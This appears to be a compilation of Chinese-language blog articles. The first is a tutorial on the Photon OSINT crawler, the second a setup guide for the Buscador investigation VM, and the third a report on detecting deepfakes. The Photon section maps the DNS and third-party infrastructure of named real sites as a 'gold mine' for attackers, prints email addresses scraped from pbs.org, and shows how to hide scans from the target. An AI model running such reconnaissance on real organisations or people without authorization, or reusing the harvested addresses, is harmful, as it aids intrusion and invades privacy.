要开始使用 Photon，请确保已安装 Python3。还需要安装一些依赖项。在终端窗口中，运行以下命令以下载并安装必要的库：

```
pip install tld requests
```

完成此操作后，您可以下载 Photon 并使用以下命令导航至其目录，别忘了 **cd**：

```
git clone https://github.com/s0md3v/Photon.git cd
Photon
```

第2步：查看选项

现在，可以运行 **python3 photon.py -h** 来查看可用于扫描的选项列表。

```
python3 photon.py -h
```

```
. ____ __ __ / __ \/ /_ ____ / /_____ ____ / /_/ /
__ \/ __ \/ __/ __ \/ __ \ / ____/ / / / /_/ / /_/
/_/ / / / / /_/ /_/ /_/\____/\__/\____/_/ /_/
v1.2.1 usage: photon.py [-h] [-u ROOT] [-c COOK]
[-r REGEX] [-e EXPORT] [-o OUTPUT] [-l LEVEL] [-t
THREADS] [-d DELAY] [-v] [-s SEEDS [SEEDS ...]]
[--stdout STD] [--user-agent USER_AGENT] [--
exclude EXCLUDE] [--timeout TIMEOUT] [--clone] [--
headers] [--dns] [--ninja] [--keys] [--update] [--
only-urls] [--wayback] optional arguments: -h, --
help show this help message and exit -u ROOT, --
url ROOT root url -c COOK, --cookie COOK cookie -r
REGEX, --regex REGEX regex pattern -e EXPORT, --
export EXPORT export format -o OUTPUT, --output
OUTPUT output directory -l LEVEL, --level LEVEL
levels to crawl -t THREADS, --threads THREADS
number of threads -d DELAY, --delay DELAY delay
between requests -v, --verbose verbose output -s
SEEDS [SEEDS ...], --seeds SEEDS [SEEDS ...]
additional seed URLs --stdout STD send variables
to stdout --user-agent USER_AGENT custom user
agent(s) --exclude EXCLUDE exclude URLs matching
this regex --timeout TIMEOUT http request timeout
--clone clone the website locally --headers add
headers --dns enumerate subdomains and DNS data --
ninja ninja mode --keys find secret keys --update
update photon --only-urls only extract URLs --
wayback fetch URLs from archive.org as seeds
```

要运行最基本的扫描，使用 **python3 photon.py -u target.com**。

第3步：映射DNS信息

Photon 的最有用和最有趣的功能之一是能够生成与目标域连接的所

有内容的可视化DNS映射。这使您可以深入了解目标域背后的计算机上正在运行哪种软件。

这里是有的案例是 Priceline。

为此将使用**—dns** 运行扫描。要生成 priceline.com 的映射，可以在终端窗口中运行命令：**python3 photon.py -u priceline.com—dns**。

```
python3 photon.py -u https://www.priceline.com/ --dns

URLs retrieved from robots.txt: 111 Level 1: 112 URLs Progress: 112/112 Level 2: 112 URLs Progress: 112/112 Crawling 0 JavaScript files
--------------------------------------------------
Robots: 111 Internal: 112
--------------------------------------------------
Total requests made: 0 Total time taken: 0 minutes 26 seconds Requests per second: 0 Enumerating subdomains 79 subdomains found Generating DNS map Results saved in www.priceline.com directory
```

生成的子域图非常巨大！因为它太大了而无法放在这里，因此接下来将把它细分一下，讨论几个部分。可以看到与 Priceline 服务相关联的服务器和IP地址，下面大图在这里：

「图」

「图」

再往下看，可以看到第三方集成和其他与 Priceline 服务连接的基础架构。这也提供了有关它们使用的邮件服务器以及可以利用的任何安全性差的第三方服务的信息，可以利用它来获得访问权限。下面的大图在这里：

「图」

「图」

放大一下，并查看负责电子邮件服务的MX记录。显然，它使用的是Google服务和VeriSign。下面大图在这里：

「图」

「图」

再往下看，可以放大并开始查看检测到的 Varnish、BigIP 和 nginx服务器。连接到 Digital Ocean 帐户后，看到运行特定版本 openSSH 的 Ubuntu 服务器。希望那不是脆弱的。下面大图在这里：

「图」

「图」

仔细研究 Priceline 的核心服务，可以看到 Microsoft、Apache 和 Big IP 系统。在某些情况下还可以看到这些IP地址托管的服务的特定版本。下面大图在这里看到：

「图」

「图」

所有这些都是黑客钻空子的金矿。

第4步：提取密钥

接下来尝试从网站上获取一些电子邮件地址和密钥。将使用 PBS.org 作为示例。

为了加强探索的深度和广度，在终端窗口中运行 **python3 photon.py -u** "pbs.org"**—keys -t 10 -l 3** 来指定要深入URL的3个层次，并且要打开10个线程来进行数据爬取。

结果返回到名为 “intel” 的文件中，第一个如下所示：

```
python3 photon.py -u https://www.pbs.org/ --keys -
t 10 -l 3

b'delaney@delaneyantiqueclocks.com
\nshcurry@pbs.org\nandrew@brunkauctions.com
\nnansollo@gmail.com\nfrontlinemedia@pbs.org
\ninfo@weissauctions.com\nledyer256@aol.com
\nstock_sales@wgbh.org\nian.ehling@bonhams.com
\nnanchisholm@gmail.com
```

```
\nCollegeBehindBarsDKC@dkcnews.com
\nAppIcon57x57@2x.png
\nagm6@advanceguardmilitaria.com
\ntravis@bruneauandco.com\nfrontline@pbs.org
```

已经捕获了一些电子邮件地址！

尽管在这次扫描中没有找到任何密钥，但是，上述搜索将使 Photon 去寻求可能与API密钥或其他重要细节有关的字符串，这些字符串可能已无意在目标网站上被公开了。

第5步：用**Ninja**拉大您与目标之间的距离

⚠假设使用的是敏感IP地址，例如派出所、政府机关，甚至只是您不希望目标用户知道您正在进行调查的任何地方。您可以使用 **—ninja** 让自己与目标之间保持距离，这会将您的请求发送到第三方网站。

结果会较慢，但消除了被目标识别到您的身份的风险。由于您对这些请求的控制较少，于是有个心理准备，它们可能需要一点时间才能完成。

要在 Ninja 下运行较轻版本的扫描，可以在终端窗口中运行命令：**python3 photon.py -u pbs.com—keys -t 10 -l 1—ninja**。

```
python3 photon.py -u https://www.pbs.com/ --keys -t 10 -l 1 --ninja
```

最后

当涉及到数百个URL来获取信息时，很少有人愿意自己手动。利用 Photon，您可以轻松抓取大量子域或多个目标，从而使您可以在侦察阶段扩展研究范围。

利用内置的选项解析和搜索各种数据，例如电子邮件地址和重要的 API密钥，Photon 甚至可以捕获目标所犯的微小错误，从而揭示出许多有价值的信息。〇

广告

原文

广泛的数据收集不是目的，能回答问题才是：一个可随身携带的强大工具协助深入调查

开源情报-每个人都可用的武器

就像读书一样，想要学到东西，您需要带着问题去读书—带着您的目的—在开源调查中，目的是指导全程的根本

「图」

正如我们一直强调的那样，对于使用开源信息进行调查的任何人来说，您必须能在功能强大的工具和隐私控制之间取得平衡。

Buscador是一台虚拟机，里面装有诸多好用的开源情报调查工具，并且经过简化后可以有效地协助在线研究。

可以轻松地在 VirtualBox 中设置该程序，完成后，我们将带您逐步了解其中包含的一些最有用的工具。

现在就开始。

开源情报调查

我们以前介绍过 TheHarvester 和 Maltego 等类似的高端调查工具（在下面看到部分回顾），人们对这些工具的态度从惊讶到对其合法性的怀疑，几乎什么都有。是的 ，依旧有很多人对可以从开源渠道中获取的庞大信息量和种类有类似的反应。

- 《社交工程工具用于开源情报调查：0基础初学者指南》
- 《20个最好用的在线侦查工具和数据收集工具》
- 一个对大众很有价值的用例《社交媒体情报和反情报基本工具手册：自我人肉（2）》

但正如我们一直坚持的那样，这些技术可以用在任何动机上，所以我们必须能将它民主化，才能与"当权者的邪恶动机"相抗衡。

开源情报调查研究工具允许访问全球社会产生的大量数据，这些数据通常用作解决犯罪问题的取证线索、或用作侦察手段以允许各种黑客和社交工程攻击计划的顺利推进。

充分利用数字世界中所有可用的数据，研究人员几乎不会担心信息找不到；他们担心的是，现有的数据量太大了，难以分类，但是正确的数据几乎总是存在其中的。

因此，寻找最有效的途径获得正确的数据，是研究人员将面临的核心挑战之一。这意味着要使用比 Google 搜索更复杂的工具来寻找与目标有关的一切线索。

开源情报调查领域的可用工具非常多，我们介绍过其中大部分，但是它们中的一些在安装和配置方面可能有点麻烦。

在看到很多人在进行开源情报研究时存在明显的操作安全漏洞之后，该领域专家 Mike Bazzell 和 David Westcott 着手创建了专门的VM，并将亲测最有效的开源情报工具和自定义脚本结合在一起。

该VM的另一个重点是安全性、隐身性、以及能够轻松保存在调查期间发现的数字证据的能力。

- 关于数字取证，我们上传过一本书您可以在这里下载：https://t.me/iyouport/6313
- 以及一个文档，为取证工具，针对的是：WhatsApp、Telegram Messenger、Facebook Messenger、Viber、Signal Messenger、Skype 和微信。在这里下载：https://t.me/iyouport/6315

面向黑客、社交工程师、公民记者、NGO、和各类调查人员的虚拟机

黑客可以将 Buscador OSINT 虚拟机想像成基于开源情报的 Kali Linux 版本。

Buscador 基于 Ubuntu 而非 Debian，不包含Kali拥有的强大的网络武器，而是将一组最有用的开源情报、隐私、和数据捕获工具手工收集到一个隐蔽的包中。

由于免追踪是所有调查人员的基本目标，因此 Buscador 预先安装了 Tor，并拥有其他有用的隐私工具。

Buscador VM 还可以从任何可用于计算机上的USB拇指驱动器启动，也可以加载到硬盘上并直接启动。

这样，无论您是否随身携带个人设备，都可以灵活地在任何可以访问计算机的地方使用它。该 VM 3.5 GB，结构紧凑，易于放在8 GB或更大的闪存驱动器中随身携带。

Buscador 鼓励良好的研究习惯，并赋予研究人员更多的研究线索。预先安装了一些您很熟悉的工具，例如 Maltego、Recon-ng、Creepy、Spiderfoot、TheHarvester、Sublist3r，都是瑞士军刀级的利器，还有我们曾经介绍过的其他工具。（以上内嵌链接是一些用例）

你需要些什么

试用 Buscador 很容易。您需要从 IntelTechniques 网站下载最新版本的 Buscador。

接下来，您需要下载 VirtualBox 以及 VirtualBox Extension Pack 才能运行该虚拟机。确保完全安装这两者，因为在不使用扩展包的情况下运行 Buscador 会很麻烦，因为它要求您按一个转义序列以从VM中释放鼠标。

一旦安装了 VirtualBox 和 VirtualBox Extension Pack，就可以对 Buscador 进行设置了，也就是第一步。

第一步：导入和配置

首先需要导入并调整一些设置。打开 VirtualBox，然后在下拉菜单中单击“文件”，然后单击 “Import Appliance” 选择您先前下载的 Buscador .OVA 文件。然后，选择“继续”。

「图」

继续并单击“导入”以加载虚拟机。

「图」

接下来单击“设置”，然后在“常规”选项卡中，将 Buscador VM 重命名为您容易记住的名字。

在“高级”下，将“共享剪贴板”更改为“双向”，以允许在来宾系统和您的主机之间进行复制和粘贴。

单击“系统”选项卡，然后在“主板”下，将大约一半的总系统 RAM 添加到虚拟机。

接下来单击 “Displa”，然后单击 “Screen” 以将显存增加到至少**128 MB**，以允许视频和其他数字证据正确显示。

「图」

完成后，单击“保存”，然后单击左下角的加号图标，选择“添加光驱”，然后选择 “Leave Empty”选项。

最后，单击“共享文件夹”选项卡，然后选择右侧的加号图标。现在，您可以创建或选择要用于将证据从 Buscador 保存到计算机上的文件夹。

选择此选项后，确保将文件夹设置为“自动挂载”。

「图」

完成此操作后，您就可以开始首次运行 Buscador了。

单击“确定”以保存设置，然后从 VirtualBox 的VM列表中选择 Buscador VM，并单击绿色的“开始”按钮。

第二步：首次运行 **Buscador**

在 Buscador 启动之后，您应该在登录菜单上找到一个怪异的OSINT 动画人作为墙纸。

默认的用户名密码都是 osint。

「图」

登录并启动桌面后，单击 VirtualBox 菜单顶部的“设备”选项卡，然后选择 “Insert Guest Additions CD Image” 以在 Buscador 中显示CD。

如果无法自动运行，请选择桌面上的CD，然后单击“运行软件” 以运行 Guest Additions 安装程序。安装完成后，重新启动虚拟机。

「图」

再次登录并加载桌面后，打开一个终端窗口。我们需要将“ osint”用户添加到“vboxsf”用户组中，为此，将键入以下内容，然后按 Return /

Enter 键：

```
sudo adduser osint vboxsf
```

LF@提供密码（osint），然后在完成该过程后再次重启VM。

「图」

现在这些步骤已完成，您的 Buscador 已经设置好并可以使用了！

第三步：利用浏览器扩展

Buscador 提供了许多预配置的最有用的插件和扩展程序，供研究人员使用。该精选列表着重于捕获您找到的线索以供进一步检查和分析，这里将首先介绍 Firefox 附带的一些最有用的工具。

Firefox 浏览器附加组件 ——

这里有八个浏览器插件。您会看到图标藏在浏览器的右上角。

前两个 "Nimbus Capture" 和 "FireShot" 用于拍摄感兴趣页面的详细屏幕截图，使您可以对其进行存档、在其中做笔记、甚至制作网站的PDF副本。

「图」

接下来的两个浏览器扩展程序用于收集在线发布的视频和音频。允许您分别使用 "Video DownloadHelper" 和 "Bulk Media Downloader" 单独或批量保存任何视频文件。

对于任何不想被跟踪或不想在其内容中看到广告的人来说，Ublock Origin 应该是一个熟悉的东西了，但是对于许多研究人员而言，"User-Agent Switcher" 可能是一个有趣的新玩具。

User-Agent Switcher 可更改浏览器在每次发出请求时发送的操作系统和浏览器类型，从而使您可以假装成所需的任何类型的设备。

- 不要错过《如何使用位置欺骗扩展追踪约会网站上的目标私密信息？》
- 关于浏览器指纹《Opsec 操作安全：在反侦察的过程中您应该注意哪些陷阱？》

最后两个附加组件是 Google Translate（用于快速翻译其他语言的页面）和超级有用的 Resurrect Pages，它们可以查找已被更改或删除的旧版本的网页，使您可以查看调查目标试图隐藏什么。

- 不要错过《无法挖到已经被删除的内容》

Chrome浏览器扩展程序 ——

默认情况下，以隐身模式打开的 Google Chrome 也包含在 Buscador 中。它拥有比Firefox更多的扩展，包括 Ublock Origin、Fireshot和其他15个扩展。

「图」

"Lightshot" 屏幕捕获扩展程序用 360social 和 Prophet 添加了用于在社交网站上搜索目标人的更多信息（例如电子邮件地址等）的工具，从而取代了Chrome中的 Nimbus。

为了分析网站，Chrome提供了一个 User-Agent Switcher 和 Wappalyzer，它们会分解并告诉您任何网站所基于的基础技术。

Shodan 也非常有用，可以帮您发现有关您所访问的特定网站的信息。

诸如 HTTPS Everywhere 和 WebRTC Leak Prevent 这样的隐私工具旨在使调查人员免受恶意网站或可能的检测的伤害。

这些浏览器工具可以巧妙地结合使用，以发起攻击，例如跟踪用户的Tinder个人资料等等。

第4步：使用包含的有用工具

除了 Maltego Community Edition 之外，Buscador 中还包含很多开源调查领域流行的工具，您应该检查一下，以便对 Buscador 提供的产品有所了解。

「图」

对于电子邮件抓取，Buscador 随附了 **TheHarvester**，可让您搜索感兴趣的域上的所有电子邮件地址。

还有强大的跨平台开源情报工具 **Spiderfoot**。 Spiderfoot 会自动收集有关目标的信息，并将结果转换为易于理解的报告。在下面看到使用方法：

- 《如何自动执行情报搜集？蜘蛛脚入门指南》

Recon-ng 基于 Metasploit，是 Tim Tomes 开发的用于侦察的完整 Python模块，在黑客和调查人员中很受欢迎。

有许多有用的自定义脚本可用于从目标社交媒体帐户以及其他人们共享自身信息的地方下载视频和图像。这些工具使您只需单击几下就可以获取、处理和分析大量数据。

我们将在未来逐步介绍这些工具。如果您想了解有关 Mike Bazzell 的开源情报技术的更多信息，可以查看他的书。（我们已经上传到 telegram 频道，您可以在这里下载）

Buscador 是非常强大的

设置 Buscador 之后，建议您查看本网“开源调查”栏目中演示和介绍的诸多指南，以开始进行首次调查。

最重要的是练习使用这些工具回答问题，而不仅仅是寻求搜集信息。

否则，您很可能迷失在工具可以返回的信息海洋中。

就像读书一样，想要学到东西，您需要带着问题去读书 —— 带着您的目的 —— 在开源调查中，目的是指导全程的根本。

如果不能清楚地回答指导研究者对情况的理解的目标问题，那么所有这些数据几乎没有任何价值。

正因此，这个专门的VM的目标正是将研究人员需要的所有工具和数据整合在一起，以决定他们要提出哪些问题来为其提供支持。

如果您需要一个功能强大且方便的系统来进行Google搜索范围之外的专业级调查，Buscador 就是您所需的答案。

希望本指南对您有所帮助。〇

在这里回顾此前提供的教程：《构建你的自定义开源情报机器（第一部分）》“第二部分”、“第三部分”、“第四部分”，“第五部分”。

IYP新列表如下 ——

防身的： "https：// start.me/p/xbYXdR/iyp-1"

认知的："https：// start.me/p/RMQrDD/iyp-2"

斗智的："https：// start.me/p/ nRBzO9 / iyp-3"

眼界的："https：// start.me/p/aL8RrM/iyp-4"

你懂的："https://start.me/p/1kod2L/iyp-direct-action5"

持续更新中！

「图」

原文

开源情报和取证学如何对付 "深度造假"？（有很多视频） - iYouPort

开源情报-每个人都可用的武器

这是一份专家会议和知识交流的综合报告，其中提到了很多非常关键的内容。

「图」

「图」

控制媒体就能控制大众的眼睛和脑子，控制大众的脑子就能控制整个社会，这就是为什么自从有媒体的年代开始就同时有了媒体操纵。

- 《媒体操纵：战略性欺骗的重头戏》

而如今，每个在互联网上的人都是一个媒体，每个人都可以创造内容；而在算法专制的控制下，那些符合当权者议程的内容（不论真假）被更为广泛地获取和传播。

本文即将谈论的不完全是传统的断章取义、半真相、逻辑谬误等信息战操纵手段，而是在高科技协助下的、精心制作的逼真的假货。

以更微妙和更具变革性的方式操作内容已经变得越来越容易。

- 《当恶意者掌握技术：信息战的未来究竟有多可怕？》

互联网上的视觉内容如此丰盛，以至于当可以创建高质量（或半高质量）的 *受控视觉内容* 时，人们很难区分真伪；并且至关重要的是，这需要时间、资源和技术。

人们说他们已经无法相信自己看到的任何东西 ——

造假泛滥的结果就是，它形成一种近似不可理喻的氛围，导致人们看什么都像是假的，纠正性信息也同时被埋没。

制作深度造假仍然需要些技术技能，但是这种情况正在迅速改变 ——

目前，要在视频中完全逼真的模拟真实面孔的能力仍然需要一支经过专门培训和技术培训的庞大团队。

但是，现在正是从手动合成图像（耗时且需要专业技能）到自动合成（仍然粗糙但速度更快并且不需要专业技能）的过渡阶段。

人们通过社交媒体创建的大量内容推动了这一过渡：因为它提供了太多的数据以训练算法，从而会快速改进深度造假的工具。

合成媒体和深度造假目前面临的主要检测挑战是什么？

用于检测的数据的质量很差、数量不足 ——

对于检测方法，您需要一定数量和质量的培训数据或其他信息，而这在特定技术中并不总是可用。

研究人员经常没有足够的数据来分析某些造假的信息，要做到准确的检测，不仅需要更多信息来训练检测工具，还需要高质量的信息。

部分操纵比较难以识别 ——

很难检测视频何时被 “部分操纵”（相对于完全操纵或根本没有操纵来说）。但是，完全操纵的视频留下了很多数字指标。

造假的音频更难以检测 ——

要检测造假音频是一组完全不同的挑战，目前为止在研究方面基本是空白。所以，如果有人上传一段音频，诉说一件耸人听闻的事，你需要小心。

制作深度造假的人和检测深度造假的人，谁会最终赢得了这场 “猫鼠”游戏？这是个问题 ——

目前，用于造假技术的资源（人员和投资）远多于检测技术的资源（这也是DARPA MediFor 计划启动的原因之一）。越来越多的研究人员承认这是一个问题。

我们不应该期望在检测中达到完美的性能水平，因为我们会看到深度造假技术不断升级以适应检测方法，并且造假的学习过程的本质是不断改善的。

相反，最好用那种能够使尽可能多的人难以做出逃避检测的造假产品的检测工具来定义成功。

技术/社交媒体平台之间也缺乏协调，无法跟踪虚假信息和被操纵的内容并将其删除 ——

我们认识到我们可以解决此问题，但这将同时带来审查问题，导致弊大于利。技术平台与该特定研究社区正在产生的东西之间似乎也存在脱节。

平台内的确有一些模型，用于与合作伙伴一起处理有问题的内容数据，例如有关恐怖分子的宣传内容或儿童色情图像，但是我们需要探索其中哪些部分与伪造品和虚假信息有关。

深度造假和虚假信息的检测可能无法通过技术解决。但技术会有帮助 ——

应对深度造假需要多学科的联合努力：这不仅需要将其视为技术问题，而且，还应将其视为心理学、人类学、和新闻学问题。

为此，需要确保将社会心理学研究纳入检测工具的使用和开发中，并确保我们将研究重点放在视频上，而不仅仅是文本上。

我们需要利用面对错误信息的人们现有的专业知识和经验 ——

这包括来自现有开源情报社区以及现有媒体取证社区的专业知识。

我们还需要将系统思想家、认知科学家、以及更多前线团体和受影响社区的观点，也纳入其中。

技术解决方案也将是多方面的，并依赖于在数字级别评估可疑多媒体信息，考虑视频是否在科学范围内运行以及从其他来源了解到的事件信息 ——

例如，DARPA MediFor 程序正在尝试结合多种不同的媒体完整性衡量标准，以反映包括数字完整性（例如，像素的一致性或压缩性）、物理完整性（例如，违反了物理定律的阴影、光线或运动）、以及语义完整性（例如，如果天气与特定日期和时间所在位置的已知天气不一致）。

他们正在尝试提供一种在这些层次上进行推理的技术，将它们组合为一个完整性的评分标准。

这里的想法是增加信息造假者的负担，因为他们如果想要人们信任，就需要在不同的层次上协调性地保持一致。

对媒体取证和深度造假研究人员最有用的是什么？

更好的数据共享 ——

更好的数据共享将加速工具的改进，以适应开源情报社区要处理的数据类型。这就要强调技术社区与行动者社区的完美协作。

更多案例研究 ——

研究人员需要更多案例研究，以帮助了解在哪里寻找合成造假媒体的真实实例，以及当前从业者面临的障碍。

我们需要应对隐私、安全性、数据、研究道德以及方法方面的操作安全性 ——

技术社区和调查者社区双方都同意工作中存在数据隐私问题（包括通过社交媒体网站中的开源情报挖掘方法找到的数据），并担心如何保护提供分析材料的资源。

这与方法的披露问题有关。我们需要更好地了解技术研究和分配的局限性，但仍要找出在研究人员与主要前线社区之间共享研究方法的途径。

为揭露造假的个人建立更好的安全防御 ——

学术研究人员可能尚未意识到个人披露造假和错误信息有可能面临很大的风险。

这包括被抹黑、人格暗杀运动、以及骚扰甚至攻击。

如果某人因为公共利益工作而陷入危机或受到攻击，则需要权利组织的支持系统并协同工作。

对于造假和媒体取证研究人员

误传和虚假信息的现状如何？

造假分为很多种，其中一些的质量并不高 ——

在当前的错误信息环境中，大多数时候你看到的都是刻意的伪造；更典型的是重新可视化和回收旧有的视觉内容，并以误导性的方式解释其中的故事。

- 比如这里的案例《真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系》

就像深度造假一样，要检测某些内容何时是真实的，并不容易，尤其是并非100%伪造的那种。

此外，当视觉信息本身是真实的，但其周边的消息传递或取景是虚假的时，这又带来了一个不同的问题：我们如何更好地检测出 *被刻意误导性解释的真实的图像*？

经过细节编辑的内容通常涉及图像中文本的更改（例如，在 Snapchat 上共享关于 Parkland 枪击案的迈阿密先驱报的报道，但被PS了文字，然后有人进行了截屏并转发），或在 WhatsApp 上传播的虚假文章的截图。

社交媒体的传播环境意味着图片不需要高质量即可用于心理操纵，而且无论如何，当前的许多虚假信息策略都是通过文字和讲故事来完成的，并不需要太多的技术能力。

meme的问题 ——

视觉信息和 meme 是信息障碍的最危险手段。meme 易于复制、简化概念、并因此影响对话。

对于检测来说，它们是文本和图像的组合，因此您必须同时对这两者进行分析。

信任的侵蚀是一个根本性问题 ——

一个更大的问题是如何解决偏见。人们只想相信自己想要相信的东西，并将自己的认知框架带入故事中。

于是，在仅仅需要发问而非技术检验的情况下，取证和媒体验证该怎么做？ —— 在这种情况下，只需插入一个疑问即可使某些事物合法化，而不是复杂的伪造。

开源情报/社交新闻收集/事实核查社区当前正在做什么，

是否致力于检测错误信息并验证信息（以及现有的挑战和需求是什么）？

开源情报的工作取决于对语义完整性的大量检查，以及基于新闻工作者证实和审查来源可信度的方法 ——

研究人员希望找到创建的时间、共享的日期、位置、来源，然后与其他报告和开源数据（例如 卫星图像）进行交叉验证。

元数据是检测不一致的第一层，但需要超越它，因为元数据也可能被篡改。

- 《检验元数据的工具和方法》

当内容较少时会更具挑战性。与原始新闻来源和创作时间相距甚远的社交新闻收集方法也更具挑战性，因为，要想与目击者和参与拍摄和分享的个人交谈以补充研究，会很困难。

深入调查需要取证学，以了解视频或图像的相互关系，并在取证架构和空间分析实践中将其映射到物理空间。

BBC做的一项开源调查经常被引用以说明问题，该项调查清楚地记录了喀麦隆法外处决的肇事者：

仅仅专注于消息本身是不够的 ——

开源调查涉及到如何对信息进行拆封，并使用通俗易懂的语言向人们展示从检测工具获得的信息的方法。

- 在这里看到方法《如何讲述故事：开源情报研究初学者的指南》

人们不一定会信任事实核查组织和新闻机构，事实核查组织也不会接触到使用错误信息和虚假信息的人；因此，新闻编辑室和事实核查组织和人员还需要专注于反映网络信息生态系统的受众发展和交流策略（并从虚假信息网络在战略性地放大假消息的模式方面有所研究），以及找到如何针对不同情况自定义和调整事实核查资料的方法。

- 非常推荐这个报告《看清信息战：2019全球有组织社交媒体操纵清单》

有时您可能不想揭穿 ——

重要的是要理解，内容的病毒式传播水平可能会决定您从讨论到揭穿再到向观众提供正确信息的整个过程的转折点。

您必须迅速采取行动，但是不能太早披露；否则反而会因此让假消息接触到更多的受众，增加对假消息的接触会使其变得更为熟悉，从而使人们记住它，并且有些人可能会开始相信它。

- 你面对的是信息战，假消息的制作是战略性的，因此你需要以战略性的方式进行反击 《什么时候辟谣是无效的》

例如，在巴西大选期间，Comprova 联盟对大约300个虚假媒体项目进行了揭穿，但最终仅发布了150个左右，因为其他项目过于利基、并且没有超过临界点。

协作是关键 ——

最新诞生的一系列合作（例如 墨西哥的 Verificado、巴西的 Comprova 和尼日利亚的 Africa Check）证明了组织之间就错误信息和虚假信息的识别和交流进行协作以验证和揭穿的价值。

由多个新闻参与者创建的协作可以增强公众信任的力量。

检测虚假信息的一种方法是了解虚假信息如何适合较大的系统/网络。除了内容和来源，您还应该专注于系统的其他部分，例如参与者及其工作的空间 ——

网络宣传模型着眼于谁参与创建和扩大内容，而不是等待内容的事实核查。

这种方法着眼于内容如何在暗网、加密通信、匿名网络和开放网络中发布和流传。

虚假信息的创作者将在匿名的和开放性的网络中进行 *战略性传播*，并不仅依赖于最有可能推动内容的社区，而且还依赖普通人，以及事实核查者 —— 有些时候越是辟谣，相关假消息被信任得就越多。

来源检查通常是确认错误信息和虚假信息的途径 ——

大量虚假信息来自封闭的消息传递空间和匿名网络，并在4Chan、8Chan和 Discord 等聊天板中进行了讨论。您需要从适当的渠道获得资源。

WhatsApp是错误/虚假信息的温床 ——

封闭的消息传递应用程序正在增加，形成了网络化的小团体信任。在这些应用程序中，群组是一个特殊的问题，因为您必须有一种启发式的方法才能确定是否为真。

对于记者来说，这些渠道传递的虚假信息也很难访问，并且没有内部机制可以把视听内容或其他内容标记为不真实。

记者进入封闭的消息传递应用程序并制作工具来识别和/或标记虚假信息时，面临着道德困境 ——

进入这些群组，而不是等待这些群组中的人员自己提交或识别内容，具有道德上的挑战性。

为了在新闻搜集、调查和监视之间进行明确区分，调查人员需要在保持隐私人权的同时与内容互动的方式进入同一个频道。

对于图像/视频造假检测方面的开源情报 /验证/真相发现从业人员来说，最有用的是什么？

现实世界中存在验证挑战，也存在工具局限性 ——

记者必须处理需要快速决策的实时提要，因此需要用于实时分析和手动验证的工具，这需要太多时间。

同时，针对非技术人员的取证工具尚不可用，并且大多数最新验证是手动完成的。研究人员还需要处理大量和低质量的内容，以及这样的现实，即：平台和消息传递应用程序创建的压缩减少了取证分析的机会。

通常情况下，伪造并不需要十全十美，它只需要插入疑问或确认信念即可。

- 《别让社交媒体的自然模糊阻挡真相》

我们需要针对非技术人员的更好工具 ——

当前，非技术人员无法使用大多数工具，因为这些工具需要一些技术基础。在可用性方面的开发进度不够快。

记者、调查人员、媒体公司和计算机科学家之间需要更多的协作，以

研发一套好的工具，而不仅仅是依靠开源图像取证工具，并向更多用户提推广这些工具。

平台内的工具 ——

开源情报社区将受益于平台本身（社交媒体、搜索功能）内部更好的工具的使用和利用，以及通知用户检查他们所质疑的内容，例如，WhatsApp 之外的查询工具不会损害整体的端到端加密，但允许用户对照现有的已知错误信息源检查图像或视频。

快速途径 ——

社交媒体源和其中的信息是实时发生的，大多数情况下没有经过过滤，因此从调查人员的角度来看，有一种解决这一问题的紧迫感。

跨平台分析是一个大问题 ——

特别是考虑到 WhatsApp 和 Facebook Groups 的封闭性质。一种解决方法可能还包括将视听内容标记为可疑内容的选项，并找到跨平台跟踪视听内容的方法（注意在封闭群组中处理视听内容的挑战）。

记者和调查人员需要了解深度造假的科学知识以及如何发现它们的方法 ——

需要：既能够有效使用的工具（并了解工具的局限性）、又能向公众传达工具如何以及为什么能够检测到伪造品的信息。

这是因为对于新闻记者而言，挑战不仅在于自己得出结论，还在于将其消化成大众能接受的故事包。

始终存在着一个问题，即 您如何对发现的造假信息承担责任/采取行动。

哪些工具对开源情报和信息验证有用？

检查清单 ——

有关如何查看被操纵的图像/视频的信息。

现有媒体验证工具列表 ——

最好是已经构建的，没有编码技能要求的，已经公开可用的，并且经

过同行审查和测试的工具。

- 《从信息验证到安全防御—日常必备的调查工具包》
- 《给真相爱好者的随身小工具：调查工具包简版》
- 《如何对视频进行开源情报调查和信息验证：推荐好用的工具》
- 《验证在线信息真伪的简单思路》
- 《10个简单技巧 快速验证社交媒体热门视频的真伪》
- 《公民记者如何验证民间爆料视频的真实性？》
- 《🔎 超级情报收集工具库：开源验证和调查工具及使用方法》
- 还有更多，见 列表3—栏目 “让它民主”

需要一种基于跨平台分析图像的工具 ——

记者和开源情报调查人员使用工具快速收集证据并对证据进行分类，以及在必要时进行揭穿。拥有一个可以快速分析内容以显示是否首次发布以及所使用相机的来源或类型的工具将非常有用。

需要指示确定性程度的工具 ——

如果图像/视频是假的、或由人类审阅者标记为潜在的异常，应该有一个共识的标准，即 “可疑性/重要性” 程度的标准。

需要一种可以轻松进行取证检测的工具 ——

用来确定图像的一部分是否与其他区域进行了不同的处理。

需要将图像、视频链接到特定设备或设备类型的工具 ——

确定它们的传播已经通过了哪些社交网络。

需要专注于音频的技术包括可促进识别说话者的工具 ——

这显然是个难点。

需要反向视频搜索 ——

反向图像搜索已经很成熟，一般来说，开源情报社区会建议抓取视频的一帧，然后依照验证图像的方法来验证视频。但有些时候，对于那些动作很快的视频，抓取帧不很容易，并且对于不娴熟的调查人员来说，精准抓取也不很容易。

因此，目前迫切需要那种能够像搜图一样简单的反向搜索视频工具。

需要图像标记工具——

研究人员需要在开放平台和封闭群组中都可以使用的标记可疑视觉内容的方法，并使其可以跨平台携带。

跨平台非常重要。因为很多内容被一次揭穿并没有用，它会继续传播不断扩散，而揭露永远跟不上虚假的扩散速度。

传播途中图像会被跨平台所清洗，因此，这里的关键是能够确定图像的来源并追溯到源。在信息错误的情况下，返回原始来源（谁上传的、何时上传的、及其他元数据）是关键。

需要基于区块链的工具，用于记录和跟踪原始图像并创建“信任区域”——

具有不同的社区作为共识节点，并且能够向音频视频内容添加已确认的元数据。

很多记者和调查人员不会仅仅依靠这些，而是希望运行自己的验证流程，但这样做可以提供信任信号并实现更好的来源验证。

需要网络映射工具 ——

展示谁在创造、收集和分发宣传性的和操纵性的视觉内容（主要行为者）。

需要第三方已知的错误信息示例数据库、以及受信任的分析实体 ——

比如一种基于Web的工具，用于评估图像/图形的完整性，并为研究人员提供进行进一步分析的标志。例如 IThenticate 那样。

开源情报、社交新闻采集、以及深度造假与媒体法证研究人员今后都需要学习什么？

在研究和实践者社区之间更好地沟通的技巧 ——

由于多种原因，研究人员和从业人员没有互相交流。

这是因为缺乏资源来支持此类对话，以及如何匹配学术界、民间社会、政府、资助者和新闻业的激励结构。以及如何理解每个部门的独

特伦理关注的问题。

